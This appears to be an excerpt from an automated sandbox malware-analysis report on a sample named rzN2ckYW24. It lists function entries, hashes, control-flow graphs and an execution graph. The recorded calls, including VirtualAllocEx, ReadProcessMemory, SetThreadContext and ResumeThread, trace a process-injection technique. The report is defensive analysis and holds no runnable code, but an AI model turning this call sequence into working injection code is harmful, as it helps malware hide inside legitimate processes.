                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DuplicateHandle
                                                                                                      • String ID:
                                                                                                      • API String ID: 3793708945-0
                                                                                                      • Opcode ID: 8dab9736f142507918aca763968ed50b6597f085e1dd2e6d6d92482e62a7ea33
                                                                                                      • Instruction ID: fed883bb152c47739d12b6e9e8410f0df1f08aa44a40e362d07e7a7f1399fb77
                                                                                                      • Opcode Fuzzy Hash: 8dab9736f142507918aca763968ed50b6597f085e1dd2e6d6d92482e62a7ea33
                                                                                                      • Instruction Fuzzy Hash: 9C21E5B69002089FDB10CF99D984ADEBBF8FB48324F14845AE914A7350D774A954CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F9650 Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 203 75f9650-75f969b 205 75f969d-75f96a9 203->205 206 75f96ab-75f96db SetThreadContext 203->206 205->206 208 75f96dd-75f96e3 206->208 209 75f96e4-75f9714 206->209 208->209
                                                                                                      APIs
                                                                                                      • SetThreadContext.KERNELBASE(?,00000000), ref: 075F96CE
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ContextThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 1591575202-0
                                                                                                      • Opcode ID: 26e31d0d3217f7530cb35cfe564b13b0f3265108a0dfcd52c3c75504fa45da7d
                                                                                                      • Instruction ID: a3107739d5e2fed6d913a62dbd640ceb17e13ee00a9b83f52e6d3511776d5645
                                                                                                      • Opcode Fuzzy Hash: 26e31d0d3217f7530cb35cfe564b13b0f3265108a0dfcd52c3c75504fa45da7d
                                                                                                      • Instruction Fuzzy Hash: C12129B1D047498FDB10DFAAC4847EEBBF4FF88218F14842AD559A7240DB78A945CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F99F8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 213 75f99f8-75f9a85 ReadProcessMemory 216 75f9a8e-75f9abe 213->216 217 75f9a87-75f9a8d 213->217 217->216
                                                                                                      APIs
                                                                                                      • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 075F9A78
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProcessRead
                                                                                                      • String ID:
                                                                                                      • API String ID: 1726664587-0
                                                                                                      • Opcode ID: 9edbb0d3e4242600be3821d849185117945113db7082a78517227c9a5cdbec85
                                                                                                      • Instruction ID: 9535a401594f72db33e9966b708037561351da7039c0951e7d5cdedde52893b5
                                                                                                      • Opcode Fuzzy Hash: 9edbb0d3e4242600be3821d849185117945113db7082a78517227c9a5cdbec85
                                                                                                      • Instruction Fuzzy Hash: E92128B19052499FCB00DFA9C884BEEFBF5FF48314F50842AE559A7240D738A944CBA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B3BAD0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 221 2b3bad0-2b3bb64 DuplicateHandle 222 2b3bb66-2b3bb6c 221->222 223 2b3bb6d-2b3bb8a 221->223 222->223
                                                                                                      APIs
                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02B3BB57
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DuplicateHandle
                                                                                                      • String ID:
                                                                                                      • API String ID: 3793708945-0
                                                                                                      • Opcode ID: af95243cd522aea019e5c2c16bae2cd7fcce303bc84eaa7bb949c0a8e855b024
                                                                                                      • Instruction ID: 7a636d584f45090c98ca73642cad43fedb55c3160a5cbe9f7e3b12f79fcd031f
                                                                                                      • Opcode Fuzzy Hash: af95243cd522aea019e5c2c16bae2cd7fcce303bc84eaa7bb949c0a8e855b024
                                                                                                      • Instruction Fuzzy Hash: 8821C4B59002489FDB10CF99D984AEEBBF8FB48324F14845AE954A7350D374A954CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B39038 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 226 2b39038-2b39a58 228 2b39a60-2b39a8f LoadLibraryExW 226->228 229 2b39a5a-2b39a5d 226->229 230 2b39a91-2b39a97 228->230 231 2b39a98-2b39ab5 228->231 229->228 230->231
                                                                                                      APIs
                                                                                                      • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02B39871,00000800,00000000,00000000), ref: 02B39A82
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: LibraryLoad
                                                                                                      • String ID:
                                                                                                      • API String ID: 1029625771-0
                                                                                                      • Opcode ID: 5daf0972afd835cc2d91ebe703ad5f7466319e79540bd0c4f81206f3fa86cd4b
                                                                                                      • Instruction ID: 4bd35719d73e92c95c4d5f39010ecebd8c22c2734b3b2c261b8c6bd20e5787f5
                                                                                                      • Opcode Fuzzy Hash: 5daf0972afd835cc2d91ebe703ad5f7466319e79540bd0c4f81206f3fa86cd4b
                                                                                                      • Instruction Fuzzy Hash: DA1114B2D042499FCB10CF9AD444AEEFBF4EB88314F00856AE529A7200C3B5A945CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B39A10 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 234 2b39a10-2b39a58 236 2b39a60-2b39a8f LoadLibraryExW 234->236 237 2b39a5a-2b39a5d 234->237 238 2b39a91-2b39a97 236->238 239 2b39a98-2b39ab5 236->239 237->236 238->239
                                                                                                      APIs
                                                                                                      • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02B39871,00000800,00000000,00000000), ref: 02B39A82
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: LibraryLoad
                                                                                                      • String ID:
                                                                                                      • API String ID: 1029625771-0
                                                                                                      • Opcode ID: 7caa2ef18a12230060bbe96fed2fa5bfb42138a8b186ff571865501e4b4c86a5
                                                                                                      • Instruction ID: a1f3dadc8fdfaf69e3ac856737224af7667a37a24f3dadd9d507db1111e761bf
                                                                                                      • Opcode Fuzzy Hash: 7caa2ef18a12230060bbe96fed2fa5bfb42138a8b186ff571865501e4b4c86a5
                                                                                                      • Instruction Fuzzy Hash: 141126B6D006099FDB10CF9AD444BDEFBF8FB88324F04856AE529A7200C375A545CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F97E8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 242 75f97e8-75f9863 VirtualAllocEx 245 75f986c-75f9891 242->245 246 75f9865-75f986b 242->246 246->245
                                                                                                      APIs
                                                                                                      • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 075F9856
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4275171209-0
                                                                                                      • Opcode ID: 37492af15331da51026d9ae8272fecac4ee33e8d130da7ddd2012b8d643300d9
                                                                                                      • Instruction ID: a6726bf63b1be346071eb74ab84e8852187dd31ecec770bc00121282951c91fc
                                                                                                      • Opcode Fuzzy Hash: 37492af15331da51026d9ae8272fecac4ee33e8d130da7ddd2012b8d643300d9
                                                                                                      • Instruction Fuzzy Hash: 1D113AB19042499FDF10DFA9C8447EFBBF5EF48324F148429D515A7250C775A954CFA0
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F9570 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 250 75f9570-75f95df ResumeThread 253 75f95e8-75f960d 250->253 254 75f95e1-75f95e7 250->254 254->253
                                                                                                      APIs
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ResumeThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 947044025-0
                                                                                                      • Opcode ID: 941ad4e8a722f1a8dc4cfaac113cf891e25b4d222668eeaab863d869a2fadcfa
                                                                                                      • Instruction ID: 2eba28d39d8afd51061a8b09c2d8764d3e58169bb33f128bb9380d8c217a84bf
                                                                                                      • Opcode Fuzzy Hash: 941ad4e8a722f1a8dc4cfaac113cf891e25b4d222668eeaab863d869a2fadcfa
                                                                                                      • Instruction Fuzzy Hash: A1113AB1D042488BCB10DFAAC4447EFFBF4AF88224F14842AD519A7240C779A944CFA0
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B39790 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • GetModuleHandleW.KERNELBASE(00000000), ref: 02B397F6
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: HandleModule
                                                                                                      • String ID:
                                                                                                      • API String ID: 4139908857-0
                                                                                                      • Opcode ID: 51da46d3241cf6c6a8e747b165f53fe45a5e38f991100c3811682f7a058687bf
                                                                                                      • Instruction ID: 6da37635b9707e886ce9fd58492355c72af7b9abe3fd883e8c2b380acbf70ae4
                                                                                                      • Opcode Fuzzy Hash: 51da46d3241cf6c6a8e747b165f53fe45a5e38f991100c3811682f7a058687bf
                                                                                                      • Instruction Fuzzy Hash: 341110B6C006498FDB10CF9AD444BDEFBF8EB88324F10846AD829B7640D378A545CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 077C82A8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • PostMessageW.USER32(?,?,?,?), ref: 077C8305
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309821721.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_77c0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MessagePost
                                                                                                      • String ID:
                                                                                                      • API String ID: 410705778-0
                                                                                                      • Opcode ID: 634dca48d77d9ec8085a192d4b663c970010dbe532152ce95dab6ffd62db6fa1
                                                                                                      • Instruction ID: 3601559bacfe566679e1e406e17e9502ce9d38775ec3fd6c8411ee5146d82843
                                                                                                      • Opcode Fuzzy Hash: 634dca48d77d9ec8085a192d4b663c970010dbe532152ce95dab6ffd62db6fa1
                                                                                                      • Instruction Fuzzy Hash: 7511D3B58002499FDB10DF99D888BDEFBF8EB48324F108419D554A7640D375A944CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Non-executed Functions

                                                                                                      Function 02B3E390 Relevance: .3, Instructions: 315COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 09ac433ce3dba83b887abffd162524113c73ea34db86cc0cab034630976ff1fd
                                                                                                      • Instruction ID: dbadfbce57cc3fa9765ccec36a12a87e757baabd959ba433e9d09998f7ceeba6
                                                                                                      • Opcode Fuzzy Hash: 09ac433ce3dba83b887abffd162524113c73ea34db86cc0cab034630976ff1fd
                                                                                                      • Instruction Fuzzy Hash: FF12DAF16A17468AD310CF55F59E18A3FA1BFE5328B504288E2611AAD4DFB8114ACF8C
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B3C41C Relevance: .3, Instructions: 265COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 83e1d13c769cc07bc6442b367d0ad169c2a2404a03f0f234d6f7985540434481
                                                                                                      • Instruction ID: 1f6d9f770cad55fed23130c0af2eb9feff7cb927926b7fd9ae0d62137e45db00
                                                                                                      • Opcode Fuzzy Hash: 83e1d13c769cc07bc6442b367d0ad169c2a2404a03f0f234d6f7985540434481
                                                                                                      • Instruction Fuzzy Hash: AEA17E32E1021ACFCF06DFA5D9445DEBBB6FF84300B1585AAE905BB261EB71A945CF40
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B3E38A Relevance: .2, Instructions: 218COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c275dc2d7804dd6a7a173a05de16e5635f78b427d1d1b45e0f624473fe8a917c
                                                                                                      • Instruction ID: 483213aa11ccfab40a61720aac438fe2b692254496a4767c239f6bf6ce56c904
                                                                                                      • Opcode Fuzzy Hash: c275dc2d7804dd6a7a173a05de16e5635f78b427d1d1b45e0f624473fe8a917c
                                                                                                      • Instruction Fuzzy Hash: 65C11AB1A617458AD710CF65F98E18A3FB1BFE5328F504289E2616B6D0DFB4114ACF88
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F18D8 Relevance: .2, Instructions: 171COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c1a654975e0089352d5fdbbd87f9fd8fe2cb48221b2dab805fd45b0ed27ee7eb
                                                                                                      • Instruction ID: 26c8db3e3cabe3a2a4021f5b2fdeeba8f4d8970b3d82ddebaabcefff144ab0cc
                                                                                                      • Opcode Fuzzy Hash: c1a654975e0089352d5fdbbd87f9fd8fe2cb48221b2dab805fd45b0ed27ee7eb
                                                                                                      • Instruction Fuzzy Hash: 1E612870A142498FD748EF6AE855ADEBBF3EFC9204F04C43AD504DB668EF7459058B90
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F18E8 Relevance: .2, Instructions: 160COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ba279d62725284977544d2769542123aafb09f3e502ae41c3633bddeac113809
                                                                                                      • Instruction ID: d846f991b3bf9e3bb1baddc433c4ca07e4d04ae43c14d789b25a9f4711be3d8e
                                                                                                      • Opcode Fuzzy Hash: ba279d62725284977544d2769542123aafb09f3e502ae41c3633bddeac113809
                                                                                                      • Instruction Fuzzy Hash: 8E612670A142098FDB48EF6AE855A9EBBF3EFC9304F08C439D504DB668EF7459058B50
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Execution Graph

                                                                                                      Execution Coverage:25.2%
                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                      Signature Coverage:1%
                                                                                                      Total number of Nodes:310
                                                                                                      Total number of Limit Nodes:11
                                                                                                      execution_graph 28769 e80448 28770 e80455 28769->28770 28775 e80868 28770->28775 28787 e8083c 28770->28787 28799 e80878 28770->28799 28771 e8045b 28776 e80839 28775->28776 28776->28775 28779 e80998 28776->28779 28780 e80a5f VirtualAllocExNuma 28776->28780 28811 e8054c 28776->28811 28815 e80558 28776->28815 28819 5c46738 28776->28819 28824 5c46729 28776->28824 28829 e82700 28776->28829 28837 e827ec 28776->28837 28779->28771 28782 e80b25 28780->28782 28782->28771 28790 e80839 28787->28790 28788 e8054c Sleep 28788->28790 28789 e80998 28789->28771 28790->28787 28790->28788 28790->28789 28791 e80558 VirtualAllocExNuma 28790->28791 28792 e80a5f VirtualAllocExNuma 28790->28792 28795 5c46738 62 API calls 28790->28795 28796 5c46729 62 API calls 28790->28796 28797 e827ec GetUserNameW 28790->28797 28798 e82700 2 API calls 28790->28798 28791->28790 28794 e80b25 28792->28794 28794->28771 28795->28790 28796->28790 28797->28790 28798->28790 28802 e80893 28799->28802 28800 e8054c Sleep 28800->28802 28801 e80998 28801->28771 28802->28800 28802->28801 28803 e80a5f VirtualAllocExNuma 28802->28803 28804 e80558 VirtualAllocExNuma 28802->28804 28807 5c46738 62 API calls 28802->28807 28808 5c46729 62 API calls 28802->28808 28809 e827ec GetUserNameW 28802->28809 28810 e82700 2 API calls 28802->28810 28806 e80b25 28803->28806 28804->28802 28806->28771 28807->28802 28808->28802 28809->28802 28810->28802 28812 e80b60 Sleep 28811->28812 28814 e80bce 28812->28814 28814->28776 28816 e80aa8 VirtualAllocExNuma 28815->28816 28818 e80b25 28816->28818 28818->28776 28820 5c46753 28819->28820 28821 5c46bbd 28820->28821 28843 5c47558 28820->28843 28882 5c4754a 28820->28882 28821->28776 28826 5c46738 28824->28826 28825 5c46bbd 28825->28776 28826->28825 28827 5c47558 62 API calls 28826->28827 28828 5c4754a 62 API calls 28826->28828 28827->28826 28828->28826 28830 e8270f 28829->28830 29117 5c45c98 28830->29117 29122 5c45ca8 28830->29122 28832 e827dc 28832->28776 28838 e827fa 28837->28838 28839 e827aa 28837->28839 28840 e827dc 28839->28840 28841 5c45fe0 GetUserNameW 28839->28841 28842 5c45fd1 GetUserNameW 28839->28842 28840->28776 28841->28840 28842->28840 28845 5c47562 28843->28845 28844 5c47614 28844->28820 28845->28844 28921 5c48705 28845->28921 28925 5c48485 28845->28925 28931 5c483fb 28845->28931 28937 5c48371 28845->28937 28943 5c48675 28845->28943 28947 5c47f60 28845->28947 28953 5c482e7 28845->28953 28959 5c4825d 28845->28959 28965 5c481dc 28845->28965 28971 5c48152 28845->28971 28977 5c480d1 28845->28977 28983 5c48855 28845->28983 28987 5c485d5 28845->28987 28993 5c48554 28845->28993 28999 5c484ca 28845->28999 29005 5c48741 28845->29005 29009 5c48440 28845->29009 29015 5c48047 28845->29015 29021 5c487c5 28845->29021 29025 5c47fbd 28845->29025 29031 5c486bd 28845->29031 29035 5c48630 28845->29035 29039 5c483b6 28845->29039 29045 5c4832c 28845->29045 29051 5c482a2 28845->29051 29057 5c48221 28845->29057 29063 5c48599 28845->29063 29069 5c4889d 28845->29069 29073 5c48197 28845->29073 29079 5c48789 28845->29079 29083 5c4850f 28845->29083 29089 5c4880d 28845->29089 29093 5c4810d 28845->29093 29099 5c4808c 28845->29099 29105 5c48002 28845->29105 29111 5c47f81 28845->29111 28884 5c47552 28882->28884 28883 5c47614 28883->28820 28884->28883 28885 5c487c5 KiUserExceptionDispatcher 28884->28885 28886 5c48047 2 API calls 28884->28886 28887 5c48440 2 API calls 28884->28887 28888 5c48741 KiUserExceptionDispatcher 28884->28888 28889 5c484ca 2 API calls 28884->28889 28890 5c48554 2 API calls 28884->28890 28891 5c485d5 2 API calls 28884->28891 28892 5c48855 KiUserExceptionDispatcher 28884->28892 28893 5c480d1 2 API calls 28884->28893 28894 5c48152 2 API calls 28884->28894 28895 5c481dc 2 API calls 28884->28895 28896 5c4825d 2 API calls 28884->28896 28897 5c482e7 2 API calls 28884->28897 28898 5c47f60 2 API calls 28884->28898 28899 5c48675 KiUserExceptionDispatcher 28884->28899 28900 5c48371 2 API calls 28884->28900 28901 5c483fb 2 API calls 28884->28901 28902 5c48485 2 API calls 28884->28902 28903 5c48705 KiUserExceptionDispatcher 28884->28903 28904 5c47f81 2 API calls 28884->28904 28905 5c48002 2 API calls 28884->28905 28906 5c4808c 2 API calls 28884->28906 28907 5c4810d 2 API calls 28884->28907 28908 5c4880d KiUserExceptionDispatcher 28884->28908 28909 5c4850f 2 API calls 28884->28909 28910 5c48789 KiUserExceptionDispatcher 28884->28910 28911 5c48197 2 API calls 28884->28911 28912 5c4889d KiUserExceptionDispatcher 28884->28912 28913 5c48599 2 API calls 28884->28913 28914 5c48221 2 API calls 28884->28914 28915 5c482a2 2 API calls 28884->28915 28916 5c4832c 2 API calls 28884->28916 28917 5c483b6 2 API calls 28884->28917 28918 5c48630 KiUserExceptionDispatcher 28884->28918 28919 5c486bd KiUserExceptionDispatcher 28884->28919 28920 5c47fbd 2 API calls 28884->28920 28885->28884 28886->28884 28887->28884 28888->28884 28889->28884 28890->28884 28891->28884 28892->28884 28893->28884 28894->28884 28895->28884 28896->28884 28897->28884 28898->28884 28899->28884 28900->28884 28901->28884 28902->28884 28903->28884 28904->28884 28905->28884 28906->28884 28907->28884 28908->28884 28909->28884 28910->28884 28911->28884 28912->28884 28913->28884 28914->28884 28915->28884 28916->28884 28917->28884 28918->28884 28919->28884 28920->28884 28922 5c48716 KiUserExceptionDispatcher 28921->28922 28924 5c488e3 28922->28924 28924->28845 28926 5c48496 KiUserExceptionDispatcher 28925->28926 28928 5c48615 KiUserExceptionDispatcher 28926->28928 28930 5c488e3 28928->28930 28930->28845 28932 5c4840c KiUserExceptionDispatcher 28931->28932 28934 5c48615 KiUserExceptionDispatcher 28932->28934 28936 5c488e3 28934->28936 28936->28845 28938 5c48382 KiUserExceptionDispatcher 28937->28938 28940 5c48615 KiUserExceptionDispatcher 28938->28940 28942 5c488e3 28940->28942 28942->28845 28944 5c48686 KiUserExceptionDispatcher 28943->28944 28946 5c488e3 28944->28946 28946->28845 28948 5c47f66 28947->28948 28949 5c485f9 KiUserExceptionDispatcher 28948->28949 28950 5c48615 KiUserExceptionDispatcher 28949->28950 28952 5c488e3 28950->28952 28952->28845 28954 5c482f8 KiUserExceptionDispatcher 28953->28954 28956 5c48615 KiUserExceptionDispatcher 28954->28956 28958 5c488e3 28956->28958 28958->28845 28960 5c4826e KiUserExceptionDispatcher 28959->28960 28962 5c48615 KiUserExceptionDispatcher 28960->28962 28964 5c488e3 28962->28964 28964->28845 28966 5c481ed KiUserExceptionDispatcher 28965->28966 28968 5c48615 KiUserExceptionDispatcher 28966->28968 28970 5c488e3 28968->28970 28970->28845 28972 5c48163 KiUserExceptionDispatcher 28971->28972 28974 5c48615 KiUserExceptionDispatcher 28972->28974 28976 5c488e3 28974->28976 28976->28845 28978 5c480e2 28977->28978 28979 5c485f9 KiUserExceptionDispatcher 28978->28979 28980 5c48615 KiUserExceptionDispatcher 28979->28980 28982 5c488e3 28980->28982 28982->28845 28984 5c48866 KiUserExceptionDispatcher 28983->28984 28986 5c488e3 28984->28986 28986->28845 28988 5c485e6 KiUserExceptionDispatcher 28987->28988 28990 5c48615 KiUserExceptionDispatcher 28988->28990 28992 5c488e3 28990->28992 28992->28845 28994 5c48565 KiUserExceptionDispatcher 28993->28994 28996 5c48615 KiUserExceptionDispatcher 28994->28996 28998 5c488e3 28996->28998 28998->28845 29000 5c484db KiUserExceptionDispatcher 28999->29000 29002 5c48615 KiUserExceptionDispatcher 29000->29002 29004 5c488e3 29002->29004 29004->28845 29006 5c48752 KiUserExceptionDispatcher 29005->29006 29008 5c488e3 29006->29008 29008->28845 29010 5c48451 KiUserExceptionDispatcher 29009->29010 29012 5c48615 KiUserExceptionDispatcher 29010->29012 29014 5c488e3 29012->29014 29014->28845 29016 5c48058 29015->29016 29017 5c485f9 KiUserExceptionDispatcher 29016->29017 29018 5c48615 KiUserExceptionDispatcher 29017->29018 29020 5c488e3 29018->29020 29020->28845 29022 5c487d6 KiUserExceptionDispatcher 29021->29022 29024 5c488e3 29022->29024 29024->28845 29026 5c47fce 29025->29026 29027 5c485f9 KiUserExceptionDispatcher 29026->29027 29028 5c48615 KiUserExceptionDispatcher 29027->29028 29030 5c488e3 29028->29030 29030->28845 29032 5c486ce KiUserExceptionDispatcher 29031->29032 29034 5c488e3 29032->29034 29034->28845 29036 5c48641 KiUserExceptionDispatcher 29035->29036 29038 5c488e3 29036->29038 29038->28845 29040 5c483c7 KiUserExceptionDispatcher 29039->29040 29042 5c48615 KiUserExceptionDispatcher 29040->29042 29044 5c488e3 29042->29044 29044->28845 29046 5c4833d KiUserExceptionDispatcher 29045->29046 29048 5c48615 KiUserExceptionDispatcher 29046->29048 29050 5c488e3 29048->29050 29050->28845 29052 5c482b3 KiUserExceptionDispatcher 29051->29052 29054 5c48615 KiUserExceptionDispatcher 29052->29054 29056 5c488e3 29054->29056 29056->28845 29058 5c48232 KiUserExceptionDispatcher 29057->29058 29060 5c48615 KiUserExceptionDispatcher 29058->29060 29062 5c488e3 29060->29062 29062->28845 29064 5c485aa KiUserExceptionDispatcher 29063->29064 29066 5c48615 KiUserExceptionDispatcher 29064->29066 29068 5c488e3 29066->29068 29068->28845 29070 5c488ae KiUserExceptionDispatcher 29069->29070 29072 5c488e3 29070->29072 29072->28845 29074 5c481a8 KiUserExceptionDispatcher 29073->29074 29076 5c48615 KiUserExceptionDispatcher 29074->29076 29078 5c488e3 29076->29078 29078->28845 29080 5c4879a KiUserExceptionDispatcher 29079->29080 29082 5c488e3 29080->29082 29082->28845 29084 5c48520 KiUserExceptionDispatcher 29083->29084 29086 5c48615 KiUserExceptionDispatcher 29084->29086 29088 5c488e3 29086->29088 29088->28845 29090 5c4881e KiUserExceptionDispatcher 29089->29090 29092 5c488e3 29090->29092 29092->28845 29094 5c4811e 